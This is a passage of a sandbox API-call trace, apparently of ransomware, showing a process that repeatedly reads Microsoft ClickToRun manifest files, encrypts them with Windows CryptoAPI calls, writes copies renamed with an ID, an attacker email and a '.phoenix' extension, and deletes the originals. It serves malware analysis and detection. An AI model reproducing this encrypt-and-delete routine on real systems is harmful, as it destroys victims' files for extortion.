	[0221.359] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.359] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0221.359] CryptDestroyKey (hKey=0x151780) returned 1
	[0221.359] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0221.359] CryptDestroyKey (hKey=0x151240) returned 1
	[0221.359] CloseHandle (hObject=0x2c8) returned 1
	[0221.359] CloseHandle (hObject=0x2e4) returned 1
	[0221.361] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 1
	[0221.362] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.362] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.363] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9818) returned 1
	[0221.363] CloseHandle (hObject=0x2e4) returned 1
	[0221.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x20
	[0221.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.364] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.364] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0221.364] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.364] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x265a, lpOverlapped=0x0) returned 1
	[0221.399] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2660, dwBufLen=0x2660 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2660) returned 1
	[0221.399] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2660, lpOverlapped=0x0) returned 1
	[0221.401] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0221.401] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.401] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0221.401] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0221.401] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0221.401] CryptDestroyKey (hKey=0x151780) returned 1
	[0221.401] CloseHandle (hObject=0x2e4) returned 1
	[0221.401] CloseHandle (hObject=0x2c8) returned 1
	[0221.402] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 1
	[0221.403] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.403] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.404] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=236956) returned 1
	[0221.404] CloseHandle (hObject=0x2c8) returned 1
	[0221.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x20
	[0221.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.404] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.404] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.405] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0221.405] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.405] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x39d9c, lpOverlapped=0x0) returned 1
	[0221.914] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x39da0, dwBufLen=0x39da0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x39da0) returned 1
	[0221.914] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x39da0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x39da0, lpOverlapped=0x0) returned 1
	[0221.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0221.918] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.918] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0221.918] CryptDestroyKey (hKey=0x151380) returned 1
	[0221.918] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0221.919] CryptDestroyKey (hKey=0x151780) returned 1
	[0221.919] CloseHandle (hObject=0x2c8) returned 1
	[0221.919] CloseHandle (hObject=0x2e4) returned 1
	[0221.923] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 1
	[0221.925] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.925] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.926] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=36720) returned 1
	[0221.926] CloseHandle (hObject=0x2e4) returned 1
	[0221.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x20
	[0221.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.926] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.926] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.926] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0221.926] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.926] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x8f70, lpOverlapped=0x0) returned 1
	[0221.957] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8f80, dwBufLen=0x8f80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8f80) returned 1
	[0221.957] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x8f80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x8f80, lpOverlapped=0x0) returned 1
	[0221.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0221.959] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.959] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0221.959] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0221.959] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0221.960] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0221.960] CloseHandle (hObject=0x2e4) returned 1
	[0221.960] CloseHandle (hObject=0x2c8) returned 1
	[0221.972] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 1
	[0221.974] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.974] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=36750) returned 1
	[0221.974] CloseHandle (hObject=0x2c8) returned 1
	[0221.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x20
	[0221.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0221.974] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.974] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0221.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0221.975] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0221.975] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.975] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x8f8e, lpOverlapped=0x0) returned 1
	[0221.990] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8f90, dwBufLen=0x8f90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x8f90) returned 1
	[0221.990] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x8f90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x8f90, lpOverlapped=0x0) returned 1
	[0221.991] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0221.991] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0221.991] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0221.991] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0221.991] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0221.992] CryptDestroyKey (hKey=0x151100) returned 1
	[0221.992] CloseHandle (hObject=0x2c8) returned 1
	[0221.992] CloseHandle (hObject=0x2e4) returned 1
	[0221.996] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 1
	[0221.997] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0221.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.014] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6158) returned 1
	[0222.014] CloseHandle (hObject=0x2e4) returned 1
	[0222.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x20
	[0222.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.014] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
